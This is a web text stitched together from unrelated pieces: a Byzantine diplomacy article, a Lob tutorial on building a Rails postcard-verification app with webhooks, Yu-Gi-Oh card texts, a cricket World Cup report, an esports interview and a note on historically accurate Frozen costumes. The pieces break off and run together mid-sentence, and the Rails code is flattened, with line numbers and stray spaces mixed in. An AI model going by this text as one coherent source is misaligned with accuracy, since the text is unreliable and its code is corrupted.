Envoys had an obligation to send written diplomatic reports back to Constantinople. The reports were archived in the Office of Barbarian Affairs. The content of diplomatic reports was not very different from modern diplomatic reports, such as those revealed by Wikileaks. Diplomatic reports dealt with local political developments, the personalities of leaders, analysis of power struggle, etc.
Proto intelligence service
Access to information was central to Byzantine diplomacy. In order to obtain the right information, Byzantium created the first intelligence service, consisting of a network of official and unofficial agents (including merchants and priests) sent abroad. In order to ensure secure communication, they further enhanced the Roman cipher protection.
Early multistakeholder diplomacy
Byzantium used the services of merchants, priests, and other citizens who travelled abroad. All of them served as Byzantine diplomats. They had a duty to report back to Constantinople from their travels. In this way, Byzantine diplomacy managed to achieve its difficult task of maintaining a huge Empire, with very limited military power and financial resources.
Early international law
Byzantine diplomacy observed international treaties signed with neighbouring tribes, although these were framed as unilateral decrees since the emperor claimed to be the ruler of the whole world. In the long term, Byzantium benefited from introducing predictable and legal relations with otherwise unruly tribes on its borders. Even when it had to go to the war, it tried to find legal justification for it, such as the concept of the just war (reclamation of lost imperial territories or defence of the empire). The introduction of a legal aspect to relations with foreigners had an important impact on developing more civilised relations in Europe and the Mediterranean. In some cases, adherence to legality restricted room for manoeuvring for the otherwise very pragmatic Byzantine diplomacy.[7] Even in such a situation, the Byzantine Empire avoided breaking the rules. It employed a very complex interpretation of treaties, in order to justify its actions in accordance with signed treaties. It made the empire masters of interpretation and constructive ambiguities.
Soft power and public diplomacy
Byzantine diplomacy realised very early the importance of winning the hearts and minds of their neighbours. Whenever possible, Byzantium turned them from potential enemies into friends. Their public diplomacy toolkit included the conversion of nomadic tribes – especially Slavs – to Christianity; the use of elaborate ceremonies in Constantinople in order to impress foreign dignitaries; and the education of future rulers of neighbouring countries in Constantinople’s leading schools. Some of these public diplomacy techniques are still in use today.
Masters of time-management
In the Empire, which existed for 1123 years, time always played an important role. Over such a long time span, the Byzantine Empire preserved many distinctive features, including the way it conducted diplomacy. Byzantine diplomacy mastered the use of time in its activities. In most cases, playing a waiting game was in Byzantium’s best interests. With its solid institutions, Byzantine diplomacy was always ahead of the nomadic tribes, who were easily affected by disease and change of weather. Thus, in times of conflict, the key for Byzantine diplomacy was to let time pass, in order to defuse tension and choose the right moment for counter-action.
The relevance of Byzantium to e-diplomacy
Byzantium realised the centrality of information for diplomacy and developed a very efficient organisational structure for collecting and processing information. The first intelligence service was established. In addition, Byzantine merchants and priests were obliged to report about foreign territories. The Office of Barbaian Affairs collected and processed information. The relevance and strategy of managing information in diplomacy has not changed till our time.
From Byzantium to modern diplomacy
Many core elements of Byzantine diplomacy exist even now. They were passed on to the modern era via the Italian city states – mainly Venice. From Italy, the way of running diplomacy moved to emerging European national states. France created the first formal Ministry of Foreign Affairs in the seventeenth century and was followed by other European states. When we remove the trappings of our time, we can see that – in essence – many tools of Byzantine diplomacy are still in use today.
In May, our historical journey moves on to the Renaissance diplomacy of the Italian city states, the main successors to the tools and methods of Byzantine diplomacy.NOTE: This example was created on an outdated version of the Lob API. Please see the latest Lob documentation for the most up-to-date information on integrating with Lob.
Traditionally, tracing mail is a difficult and time consuming process. However, recent tech innovations are changing the landscape. At Lob, most of our customers would like to keep track of their mail pieces in real time as they move through the USPS mail stream.
With Lob, you can now set up webhooks to receive real-time tracking events to show you exactly where your mail is in the delivery process. This tutorial will show you how to build a Rails web app that is ready to receive Lob’s webhooks.
Hate to read instructions? We’ve got all the source code for this example available in a public repository.
What are we building?
This tutorial will show you how to build a website to verify your personal address by sending a postcard with a unique verification code. Once you build the site and add an intake form, you can use Lob’s webhooks to set up automated emails as the postcard moves through transit and delivery.
Who is this tutorial for?
This tutorial is geared towards web developers that have at least some experience with Ruby on Rails. You don’t need to be an expert, but it will help to have played around with Rails and APIs before.
The Toolkit
Ruby on Rails – Rails is a popular web application framework running on the Ruby programming language.
– Rails is a popular web application framework running on the Ruby programming language. Lob’s Postcard API – Lob has a whole suite of RESTful APIs for printing and mailing. We will be using the Postcard API in this tutorial.
– Lob has a whole suite of RESTful APIs for printing and mailing. We will be using the Postcard API in this tutorial. Lob’s Webhook API – We’ll also be using Lob’s Webhook functionality.
– We’ll also be using Lob’s Webhook functionality. SendGrid API – We’ll be using SendGrid’s Ruby Gem to send out email notifications.
Prerequisites
Before diving into the code, we will need to register for a Lob and SendGrid API key.
Lob
Visit the registration page and sign up for an account. You will be given a Test API Key which will give you full access to the API in a sandbox environment. All of Lob’s Printing APIs are free to try. When in Test mode, you can create postcards and view them in the dashboard, but nothing will actually be mailed until you use a Live API Key.
SendGrid
Sign up for a SendGrid account and create an API Key.
Create the Project
1 2 3 $ rails new webhooks - demo $ cd webhooks - demo
Install Dependencies
Place all the Ruby gems we will be using to create our app in the Gemfile. The versions we will be using in this tutorial are as follows:
1 2 3 4 5 gem'sendgrid-ruby', '~> 4.0.8' gem 'lob', '~> 3.0.0' gem 'devise', '~> 4.2.1' gem'sidekiq', '~> 4.2.10'
1 2 $ bundle install
Set Up the User Model
We’re going to be using Devise, a popular, flexible authentication solution for Rails.
1 2 $ rails generate devise : install
After this, we’ll create a User table and model by utilizing another one of Devise’s generators.
1 2 $ rails generate devise User
Now that we have Devise set up, we’ll need to add a few fields to the User table.
verification_code – store unique verification code that will be printed on the postcard
verified – store verified state
verification_postcard_id – store the id of the postcard returned by Lob’s API
first_name, last_name, … address_country – store postcard delivery address
1 2 $ rails generate migration AddVerificationToUser
/db/migrate/xxxxx_add_verification_to_user.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class AddVerificationToUser < ActiveRecord :: Migration [ 5.0 ] def change add_column : users, : verification_code, : string add_column : users, : verified, : boolean, : default = > false add_column : users, : verification_postcard_id, : string add_column : users, : first_name, : string add_column : users, : last_name, : string add_column : users, : address_line1, : string add_column : users, : address_line2, : string add_column : users, : address_city, : string add_column : users, : address_state, : string add_column : users, : address_zip, : string add_column : users, : address_country, : string end end
Now we can run the migrations.
1 2 $ rake db : migrate
In the model, you will see that Devise has added in some code to handle authentication automatically. We’ll use a before_create hook in the model to generate a unique code before saving the user to the database. To do this, we can use the SecureRandom library.
We’ll use an after_create hook to trigger a Sidekiq worker that will receive the user_id and send the verification postcard. We’ll be creating this worker later.
/models/user.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 class User < ApplicationRecord before_create : generate_verification_code after_create : send_verification_postcard devise : database_authenticatable, : registerable, : recoverable, : rememberable, : trackable, : validatable private def generate_verification_code self. verification_code = SecureRandom. hex ( 6 ) end def send_verification_postcard PostcardWorker. perform_async ( self. id ) end end
Create the Sign Up Page
We’ll need to modify the registrations controller and views created by Devise to accept these relevant fields upon sign up.
1 2 $ rails generate controller registrations
/controllers/registrations_controller.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class RegistrationsController < Devise :: RegistrationsController private def sign_up_params params. require ( : user ). permit ( : first_name, : last_name, : address_line1, : address_line2, : address_city, : address_state, : address_zip, : address_country, : email, : password, : password_confirmation ) end def account_update_params params. require ( : user ). permit ( : first_name, : last_name, : address_line1, : address_line2, : address_city, : address_state, : address_zip, : address_country, : email, : password, : password_confirmation, : current_password ) end end
/views/devise/registrations/new.html.erb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 < div class = "field" > <%= f. label : first_name %> < br / > <%= f. text_field : first_name %> < / div > < div class = "field" > <%= f. label : last_name %> < br / > <%= f. text_field : last_name %> < / div > < div class = "field" > <%= f. label : address_line1 %> < br / > <%= f. text_field : address_line1 %> < / div > < div class = "field" > <%= f. label : address_line2 %> < br / > <%= f. text_field : address_line2 %> < / div > < div class = "field" > <%= f. label : address_city %> < br / > <%= f. text_field : address_city %> < / div > < div class = "field" > <%= f. label : address_state %> < br / > <%= f. text_field : address_state, maxlength : 2, size : 4 %> < / div > < div class = "field" > <%= f. label : address_zip %> < br / > <%= f. text_field : address_zip, maxlength : 11, size : 15 %> < / div > < div class = "field" > <%= f. label : address_country %> < br / > <%= f. text_field : address_country, maxlength : 2, size : 4 %> < / div >
Generate Postcard Worker
Next, we’ll need to create the Sidekiq PostcardWorker we called in the User model earlier.
1 2 $ rails generate sidekiq : worker Postcard
In our worker, we’re going to initialize the Lob client and lookup the user_id passed in, so we can determine the verification code we need to print on the postcard. We’re going to use the postcard template found in the lob-templates GitHub repository. We’ll pass in the first_name and verification_code as data parameters.
Once we successfully complete the request, we’ll store the postcard_id Lob returns so that we can associate which user should be receiving the tracking notifications.
/workers/postcard_worker.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 class PostcardWorker include Sidekiq :: Worker def perform ( user_id ) lob = Lob :: Client. new ( api_key : ENV [ 'LOB_API_KEY' ] ) user = User. find ( user_id ) postcard = lob. postcards. create ( { description : "Verification Postcard - #{user.id}", to : { name : user. first_name + " " + user. last_name, address_line1 : user. address_line1, address_line2 : user. address_line2, address_city : user. address_city, address_state : user. address_state, address_country : user. address_country, address_zip : user. address _ zip }, from : { name : "Larry Lobster", address_line1 : "185 Berry St, Suite 6600", address_city : "San Francisco", address_state : "CA", address_country : "US", address_zip : "94110" }, front : % Q ( < html > < head > < meta charset = "UTF-8" > < link href = 'https://fonts.googleapis.com/css?family=Source+Sans+Pro:700' rel ='stylesheet' type = 'text/css' > < title > Lob. com Address Verification 4x6 Postcard Template Front < / title > <style> *, *:before, *:after { -webkit-box-sizing : border-box ; -moz-box-sizing : border-box ; box-sizing : border-box ; } body { width : 6.25in ; height : 4.25in ; margin : 0 ; padding : 0 ; /* your background image should have dimensions of 1875x1275 pixels. */ background-image : url ( 'https://s3-us-west-2.amazonaws.com/lob-assets/homelove-pc-bg.jpg' ) ; background-size : 6.25in 4.25in ; background-repeat : no-repeat ; } /* do not put text outside of the safe area */ #safe-area { position : absolute ; width : 5.875in ; height : 3.875in ; left : 0.1875in ; top : 0.1875in ; text-align : center ; } #logo { height : 1in ; position : relative ; top :.9in ; } #tagline { position : relative ; top : 1in ; font-family : 'Source Sans Pro' ; font-weight : 700 ; font-size :.16in ; text-transform : uppercase ; letter-spacing :.03in ; color : white ; border-top : 1px solid white ; padding-top :.15in ; width : 4in ; margin : auto ; } </style> < / head > < body > <! -- do not put text outside of the safe area -- > < div id = "safe-area" > <! -- your logo here! -- > < img src = "https://s3-us-west-2.amazonaws.com/lob-assets/homelove-logo.png" id = "logo" > < div id = "tagline" > Get verified and start selling! < / div > < / div > < / body > < / html > ), back : % Q ( < html > < head > < meta charset = "UTF-8" > < link href = 'https://fonts.googleapis.com/css?family=Source+Sans+Pro:400,700' rel ='stylesheet' type = 'text/css' > < title > Lob. com Address Verification 4x6 Postcard Template Back < / title > <style> *, *:before, *:after { -webkit-box-sizing : border-box ; -moz-box-sizing : border-box ; box-sizing : border-box ; } body { width : 6.25in ; height : 4.25in ; margin : 0 ; padding : 0 ; background-color : white ; } #banner { height : 1in ; background-color : #9b2a62 ; font-family : 'Source Sans Pro' ; font-weight : 700 ; font-size :.16in ; text-transform : uppercase ; letter-spacing :.03in ; color : white ; text-align : center ; padding-top :.5in ; } /* do not put text outside of the safe area */ #safe-area { position : absolute ; width : 5.875in ; height : 3.875in ; left : 0.1875in ; top : 0.1875in ; } #message { position : absolute ; width : 2.2in ; height : 2in ; top : 1.1in ; left :.25in ; font-family : 'Source Sans Pro' ; font-weight : 400 ; font-size :.13in ; } #code-banner { text-align : center ; font-size :.13in ; } #code { font-family : 'Source Sans Pro' ; font-weight : 700 ; font-size :.13in ; text-transform : uppercase ; letter-spacing :.02in ; color : #9b2a62 ; border : 2px solid #9b2a62 ; width : 2in ; padding :.1in ; margin :.1in auto ; }.accent { color : #9b2a62 ; } </style> < / head > < body > < div id = "banner" > { { first_name } } - Verify Your Address < / div > <! -- do not put text outside of the safe area -- > < div id = "safe-area" > < div id = "message" > < span class = "accent" > { { first_name } }, < / span > < br > < br > This postcard serves as verification of your address. < br > < br > < div id = "code-banner" > Visit < span class = "accent" > https : //www.acme.com/verify</span> and enter: < div id = "code" > { { verification_code } } < / div > < / div > < br > < / div > < / div > < / body > < / html > ), data : { first_name : user. first_name, verification_code : user. verification _ code }, metadata : { user_id : user. id } ) user. update ( verification_postcard_id : postcard [ 'id' ] ) end end
Sanity Check
Let’s add a home page and some quick routing logic so we can see a preview of what we have so far. Running the command below, we’ll have a empty controller and view generated for us.
1 2 $ rails generate controller home index
We’re going to mount Sidekiq’s web interface at /sidekiq and add some authentication logic. If a user is authenticated, they’ll be able to see the home page. If not, they’ll be directed to the registration form.
/config/routes.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 require'sidekiq/web' Rails. application. routes. draw do mount Sidekiq :: Web = > '/sidekiq' devise_for : users, : controllers = > { registrations :'registrations' } devise_scope : user do authenticated : user do root : to = > 'home#index', as : : authenticated_root end unauthenticated : user do root : to = > 'devise/registrations#new', as : : unauthenticated_root end end end
Now if we start up Rails and Sidekiq…
1 2 $ rails s
1 $ bundle exec sidekiq
We should get something like the image below. Signing up will now generate a user and trigger a postcard with a verification code.
Register the Webhook
Now we want to receive Webhooks that Lob sends us, so we’ll create a controller and Sidekiq worker to manage this. If you are writing this application in a development environment, we highly recommend using ngrok to test your webhooks. This way, you don’t have to continuously deploy your application to view any changes that you make.
1 2 3 $ rails generate sidekiq : worker Tracking $ rails generate controller webhooks receive
Let’s add 2 additional routes, one to accept webhooks, /lob/webhooks and the other /verify to build a form to verify the unique code. We’ll set up the latter in a bit.
/config/routes.rb
1 2 3 post '/lob/webhooks' = > 'webhooks#receive' post '/verify' = > 'home#verify'
Now let’s setup Webhooks in Lob’s dashboard. We’ll want to input the URL (whether it’s a deployed URL or one generated from ngrok ) and select all of the postcard tracking events ( postcard.in_transit, postcard.in_local_area, postcard.processed_for_delivery, postcard.re-routed, and postcard.returned_to_sender ).
We’ll read in the request body and parse the JSON returned by Lob. We’ll call the Sidekiq Worker, TrackingWorker, to send the actual email.
/controllers/webhooks_controller.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class WebhooksController < ApplicationController skip_before_action : verify_authenticity_token def receive raw = request. body. read data = JSON. parse ( raw ) last_tracking_event = data [ 'body' ] [ 'tracking_events' ] [ - 1 ] postcard_id = data [ 'body' ] [ 'id' ] TrackingWorker. perform_async ( postcard_id, last_tracking_event [ 'name' ], last_tracking_event [ 'location' ], last_tracking_event [ 'time' ] ) render status : 200, json : { }. to_json end end
In the worker, we perform a user lookup so that we to whom we are sending the email. Then we trigger a call to SendGrid with the information provided in the webhook.
/workers/tracking_worker.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 require'sendgrid-ruby' class TrackingWorker include Sidekiq :: Worker def perform ( postcard_id, event_name, event_location, event_time ) sg = SendGrid :: API. new ( api_key : ENV [ 'SENDGRID_API_KEY' ] ) user = User. where ( verification_postcard_id : postcard_id ). first from = Email. new ( email : '[email protected]' ) subject = 'Lob Webhooks Demo - Notification' to = Email. new ( email : user. email ) email_content = "Your postcard is on it's
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MOST READWe only get 3 because we failed.
Forum thread
Gensou no Otome Score / Score the Melodious Diva
Light Fairy / Effect
LV2 200/200
(1) During damage calculation, when a “Melodious” monster you control battles an opponent’s monster: You can send this card from your hand to the Graveyard; that opponent’s monster’s ATK and DEF each become 0 until the end of this turn.
High Speedroid Machgo Ita / Hi-Speedroid Mach Hagoita
Wind Machine / Synchro / Effect
LV5 2000/1000
1 Tuner + 1 or more non-Tuner monsters
You can only use the (2) effect of “Hi-Speedroid Mach Hagoita” once per turn.
(1) During either player’s turn: You can Tribute this face-up card; each face-up monster gains 1 Level until the end of this turn.
(2) If this card is in your Graveyard while you control a “Speedroid” Tuner: You can activate this effect; you cannot Special Summon monsters for the rest of this turn, except WIND monsters, also Special Summon this card from your Graveyard.
Kami no Tsuukoku / Solemn Notice
Trap counter
(1) Activate 1 of the following effects by paying 1500 LP.
-When a monster effect is activated: Negate that activation, and if you do destroy it.
-If either player would Special Summon a monster(s): Negate that Special Summon, and if you do destroy it.
Forum threadMoores: 'We thought 275 was chaseable. We'll have to look at the data'
Peter Moores faces an uncertain future following England's humiliating exit from the 2015 Cricket World Cup as the coach remarkably said he would have to 'look at the data' to work out why.
England were beaten by 15 runs against Bangladesh at the Adelaide Oval to make it four defeats against Test-playing nations with their win over Scotland scant consolation.
Moores, speaking after the loss on Monday, said: 'We thought 275 was chaseable. We'll have to look at the data.
Peter Moores faces an uncertain future following England's humiliating exit from the 2015 Cricket World Cup
England were beaten by 15 runs at the Adelaide Oval to make it four defeats against Test-playing nations
England captain Eoin Morgan looks dejected as he leaves the field after their World Cup match
Morgan's fifth ODI duck in 12 innings summed up their poor performance at the World Cup
HOW ABOUT THIS DATA, PETER? 90 - the amount of runs captain Eoin Morgan scored in five innings at the World Cup 12.2 - the overs it took for New Zealand to beat England's total of 123 in their second group game. 111 - Australia's margin of victory in the opening game of the tournament 654 - total of runs scored by Australia and Sri Lanka against England 1 - number of centuries scored by an England batsman against Test playing nations 72 - number of runs scored by Sri Lanka off the bowling of Chris Woakes 0 - number of wins registered by England over Test playing nations in the tournament 0 - the number of centuries scored by a Bangladesh batsman in a World Cup before playing England on Monday. 37.4-1-234-5 - Chris Woakes's tournament bowling figures. 49 - the amount of runs Steven Finn went for in two overs against New Zealand.
'You just feel hollow if I'm being honest. Very, very disappointed. We haven't played well enough, we've got to accept that.
'You just feel like you've let people down, that would be the main emotion.
'I want to carry on desperately. It's certainly not my decision. I hope [to stay]. I'm here to try and make a difference. Certainly on a day like today you look at it and you know we have a lot of work to do in one-day cricket - there's no doubt about that.
'We haven't played well enough in this tournament all the way through. That's something we have to look at.
'It's a game we felt we should have won. We should have chased 275 and we didn't do it - we have to take that on the chin.'
England must now play out a dead rubber against Afghanistan on Friday in a tournament that was summed up against Bangladesh by Eoin Morgan's fifth ODI duck in 12 innings.
Morgan replaced Alastair Cook as captain shortly before England left for their warm-ups in Australia, with the relatively untested Gary Ballance also drafted in at number three.
Moores continued: 'We haven't got a settled team. We've lost two key players at the top of our order (Cook and) Jonathan Trott was the number three, we've lost some players and we accept that, we don't make an excuse of it. We tried to find what we think are the best players to get into that team.
'Gary is a very good one-day player, we felt that was the right decision. He didn't play well enough, Alex (Hales) got his go today.
England batsman James Taylor reacts after he was dismissed during the 15-run defeat by Bangladesh
FROM BAD TO EVEN WORSE Dec 19 - Alastair Cook replaced by Eoin Morgan as England ODI captain Jan 14 - England beat Prime Minister's XI by 60 runs as Ian Bell hits magnificent 187 Jan 16 - Australia beat England by three wickets but Morgan hits 121 in first ODI since replacing Cook as captain Jan 20 - England beat India by nine wickets Jan 23 - Australia beat England by three wickets via a Steve Smith century Jan 30 - England beat India by three wickets to set up tri-series final with Australia Feb 1 - Same old, same old as Australia again beat England by 112 runs to win tri-series Feb 9 - England beat West Indies by nine wickets in World Cup warm-up match Feb 11 - Pakistan beat England by four wickets in final World Cup warm-up tie Feb 14 - Australia beat England by 111 runs on opening day of World Cup Feb 20 - New Zealand beat England by eight wickets as Peter Moores's men are crushed Feb 22 - England beat Scotland by 119 runs as expected via 128 from Mooen Ali Feb 28 - Sri Lanka beat shameful England by nine wickets for a third crushing defeat
'There was no obvious team to pick because they're young players, they haven't played a lot of cricket. We've got nine guys who haven't been to a World Cup before.
'That's the reality of it. You make your choice, you pick the side you think is the best team, which we did, and we have to accept they didn't play well enough.'
Shane Warne and Kevin Pietersen were among those criticising England on Twitter after their early elimination in the group stages.
'England had the wrong team, the wrong style of play and everyone could see it. Tonight's result is not a shock, I feel for Morgan. Coach is in trouble,' Warne tweeted.
Pietersen added: 'I cannot believe this. I just cannot. But, well done Bangladesh! You deserved it!
'Do not say we haven't prioritised ODI cricket! We played a back-to-back Ashes to make sure England played six months of ODIs before this World Cup!'
Gary Lineker, the former England striker, said: 'Bangladesh win! Congratulations to them. The good news is, England can't possibly get any worse.'
And Piers Morgan wrote: 'What an absolute disgrace. [Paul] Downton and Moores have dragged English cricket into the sporting sewer with their petty, clueless incompetence.
'I want Downton and Moores sacked today and Kevin Pietersen restored to the team. This farce just reached its true, hideous nadir.
'I wouldn't trust Downton and Moores to run a ****ing bath, let alone the England cricket team.'
Moores faces an uncertain future following England's humiliating exit against Bangladesh
Moores pictured after the defeat as he speaks with press in Adelaide about their World Cup exit
Joe Root (centre) exchanges words with Bangladesh captain Mashrafe Mortaza (left) at the Adelaide Oval
Bangladesh sealed a surprise win over England at the World Cup as Moores and his men suffered elimination
England captain Morgan, however, defended their selection and tactics. 'We've picked guys who can play a brand of cricket that if we performed we could win this World Cup but ultimately we haven't performed,' he told Sky Sports.
'It's pretty poor, obviously to be knocked out of a World Cup this early is unbelievably disappointing. I'm gutted at the moment. We've struggled and fought away since we arrived here.
'One of our big things was to fight quite hard and to try and get through to the quarter-finals and then from there fight our way through the last three games but obviously that's not meant to be.'
Morgan added: 'It ultimately comes down to performance and today was an example of where some of our guys performed but we didn't perform as a unit and we've done it for quite a while now.
'Since we've landed in Australia we've tried to address that problem but it hasn't worked.
'Our expectations are a lot higher than the way we've performed so that's extremely disappointing.Hi apEX, you are actually undoubtedly one of the best French rifle. You played for Team VeryGames and Team-LDLC, these adventures started in January 2012 and ended in August 2013. You are now playing for Clan Mystik and are also a member of the A French squad (for the European Championship). What can you say about your career? How do you analyse the “failures” with VG and LDLC?
Hi Aks. With hindsight on my career, I think I have made some mistakes, but also good choices to get here. My first teams like gamed!de or redface were good experiences. But, leaving Sypher to 3DMAX was my best decision and allowed me to be under the spotlights. It was a tough but very important choice. Concerning VG, I think I am 80% at fault because I was so stubborn and I did not want to put myself in question. I could not correct some of my faults such as my tough personality or my CT side play, that did not suit to Ex6TenZ. But this kick made me question myself and level up. I could almost thank ex6 and Niak for this kick ^^. Concerning LDLC, it is different. We were together with Maniac and Vincent (Happy) for a year and have played with eight different players : Iorek, sf, skall, mshz, gmx, mat, atlantis and kennyS. We have given so much to this team, but it became tiresome to constantly start a new line up. Nevertheless, we stayed together until proper results. But in September, new troubles appeared : Sf wanted to quit playing and KennyS had no motivation anymore. It may well prove to be the last straw that breaks the camel's back. We did not want to start again with Maniac and Vincent and thought it was better to quit instead of wasting more time. After everything I have given to this line up, it was a huge disappointment.
Despite these prestigious tags and results, you still miss a victory at the Masters. You actually finished 3rd in 2010 and 2nd in 2011 and 2013. Do you think you can make it with Clan-Mystik? Of course we can make it. We saw during the last Masters with only a week of training together that we were able to show a good game against VeryGames. To confirm this performance we just need more time and more training. I would love to win the ESWC, it is the most prestigious title in my opinion. KennyS, apEX and Maniac at Cap Arena 2013
Since you left VeryGames you seem changed : your skill is higher and you changed your behaviour, which was a recurring criticism at the time. Is it simply your age and experience that made you change? Or, did you actually work on yourself and your game?
As I said above, maturity came with the kick from VeryGames. It made me think a lot about my situation. What did I miss to be better? It is really difficult to change sometimes, to step back and question yourself after this kind of failure. But I think I managed to do it, even if it is not for me to judge. The age is probably also for something, I'm on my 21th year. I get older, I find it easier to take a step back and work. I realized that having a correct behaviour when you are in a team is the most important thing. For example, I had a hard time accepting criticism and I always had something to add or reply. Today, even if it is still in my temperament, I am critical to successfully evolve without saying anything.
I also worked on my game a little. Being an aggressive player, you are taken to make many mistakes. So I watched a lot of records of Angel or f0rest to see what they did in order to make less mistakes. It was helpful to me.
You have played with Ex6TenZ and Happy. Now you are under the lead of the greatest French leader of 1.6 : HaRtS. With your second place at the Masters, you almost won VeryGames. It seems that you made a good choice to join this team.
Was it easy for you? Are you fully satisfied with the result and your integration?
With LDLC’s split, I questioned myself about my career. I had several opportunities, like playing at an international level or keep playing in France. I thought for a long time and my heart has chosen France and especially Clan-Mystik. I am now well integrated especially because HaRtS wanted to let me hold positions I like. It was pretty messed up for the rest of the team, but we adapted quickly. All members of the team were friendly. HaRtS really trusts me, and showed me it by giving me the co-leader role. So yes, clearly, my integration is great. I would be lying if I told you that I went into the team fully confident about our potential, but each player has impressed me and now I am really happy to be part of this team. apEX near ioRek with Clan-Mystik, during Masters 2013 After this magical weekend at the Masters, given the results and optimism that adorns your statements, what do you think about your current line-up? How is the team building after this event?
It is clearly this weekend that showed me the level of the team and the huge potential we have. But it is relative, it was just a minor event, we will show a higher level for the next big competitions.
The hardest part of playing counter-strike in a high level, is not to make a performance, but it is to renew this performance at each event. We will work hard in order to achieve this and, I repeat, we are able of it. It has been a while since I had not been surrounded by four great players as motivated as there, it’s awesome!
HaRtS and iorek are two world champions (WCG, 2007 with emulate!) and you also have a good international experience. How far can you go with this team? As you play with Harts and he is known for its stability and its construction in time. I would like to ask you what are your shot, medium and long term goals?
Harts and Iorek have a huge experience and a sense of reflection that I love, they want perfection. As soon as you lose a round they really think about solutions to improve and correct errors. Although we have not yet spoken about objectives together, but we are 5 competitors, we want to be number one.
In the short term we want to win ESWC.Fr and represent France in ESWC tournament. In my mind, the victory is always my goal.
apEX vs Copenhagen Wolves (EMS One Summer 2013... par RedacVaKarM If I say 16-10, 14-16, 16-19, it should ring a bell. This is the score in the final of MFJV. The match was a real pleasure to watch at and it was a real surprise to see you take a map to VeryGames and it was even more surprising to see the following two maps ending on scores as tight. Thought you hang this team so quickly? How did you experience this game with your new teammates?
To be honest my speech with my mates was: "If we play VeryGames: no pressure, it is the team of the moment, they are much more ready than we are, it is a bonus to play them, let's see what happens."
After that, in my mind I will not say that it was doomed to failure, but I know this team as if it was mine, I knew their level and with so little preparation I could not imagine to win a map. This match was really intense, we showed them directly that we were not afraid of them and we had to give everything. When we saw that on inferno, in terrorist, we scored so many rounds in a row, we really believed that we could defeat them. Because we were a new team, we made error that led to us losing the match. It’s too bad, because a success like this for such a young team, gives confidence for further competitions. But no regrets, the next event we will show them that their victory was only based on luck :)
You never played with Kioshima, ioRek or HaRts. After 10 days and a lan, can you introduce your teammates to us? What are their ingame qualities and what identifies them.
KQLY is as good with an AWP as with a rifle and he is eager to learn. Believe me he will get popular in Europe in a short amount of time. His negative point would be that he does not speak French very good. Kio is a kind of ScreaM/Sf with an uncommon aim. He is very self-confident which is good, but he should not underestimate his opponents. HaRts is a good exemple for each ingame leader : really calm and a good sense of the game. Huge negative point : he snores... ioRek is the more peaceful player in the world and has a lot of self-control, a perfect teammate.
Before you leave we have a little tradition : the technical and bonus questions.
For technique, how to effectively spend an evening with your new team? Pracc a lot? Strat-time on a server or simply do not need a single pracc to beat VG?
I recently moved in, so I still do not have internet, our training is actually slowdown. But of course you need to train and practice to have a good preparation! We are not the kind of players who do not train, we have to be serious. Frankly, for our week of training before the Masters we played from 4 pm to 12 pm! Intensive evenings are inevitable if you want to win.
In Bonus I suggest you a travel through time. In two months you will be playing for ESWC.fr, which also serves as a qualifying tournament for the World Cup. In view of the results to master you should have a card to play to participate in the World Finals. We are Monday, November 4, 2013, you come to be crowned World Champion Counter-Strike: Global Offensive with Clan-Mystik at ESWC. What are your first words and to who are they addressed to?
"Thanks mom for always being there for me!" (LOL). Not if it happens I think the emotion would be huge and I could not find my words. But this is a big thank to my mates and Harts for trusting me.
Thank you Dan.
I really want to thank you and VaKarM for this interesting interview that changes routine. A big thank to Clan Mystik & Zowie to support us throughout the year and all the people following me!Being the history geek that I am, I guess it is kind of surprising that I haven't really done a "historically accurate" animation series before, but after seeing that awesome Buzzfeed Disney Princess video, and of course all the amazing art on here, I was inspired to make my own. I guess it is better late than never!
As I've said before elsewhere, from an artistic standpoint, I'm not at all bothered by the animated designs of the characters in Disney and Dreamworks films. They weren't documentaries after all so in most cases they didn't need to be accurate, and in animation in particular, it is more important to convey character and style in the designs. I am not trying to "fix" anything because I don't think there is anything to fix! That being said, it can still be fun to learn how your favorite characters might have looked if they had existed in real life.
For my series, I am trying to be as accurate as I possibly can. I'm taking the country of origin, the social class, the culture, and the specific decade into mind (instead of just a general sweep of multiple decades), and also adapting the colors and styles to fit what was available and worn everyday. I will try to keep the characters recognizable where I can, but I want to make my pictures realistic and so some elements of the original designs might be altered in the process.
---
You knew it had to happen some time, and here it is - the first entry in my Historically Accurate Frozen miniseries! The next four installments will be my take on the movie's four main characters, and goodness knows the kids from Frozen need some serious historical help!
As I said in my drawing of Prince Hans, Kristoff is definitely a huge contrast in fashion! Whereas Hans and the girls
Actually, the slightly more tailored cut of Kristoff's clothes are a bit closer to would dress in the most up-to-date fashions, Kristoff's clothing would be much more traditional. According to Disney, Kristoff is a member of the Sami, an indigenous people who live in an area called "Sapmi" which includes parts of Norway, Sweden, Russia, and Finland. Despite a history of discrimination the Sami still hold on to many of their traditions today, and one way this is reflected is in their clothing. Sami clothing still greatly resembles what Kristoff's people wore in the 19th century, and like the Norwegian bunad there are lots of regional differences. Disney's Kristoff borrowed a few elements from the traditional clothing, in the trims, hat, and boots, but otherwise it doesn't much resemble what the Sami really wear, now or in 1839 when Frozen was set.Actually, the slightly more tailored cut of Kristoff's clothes are a bit closer to
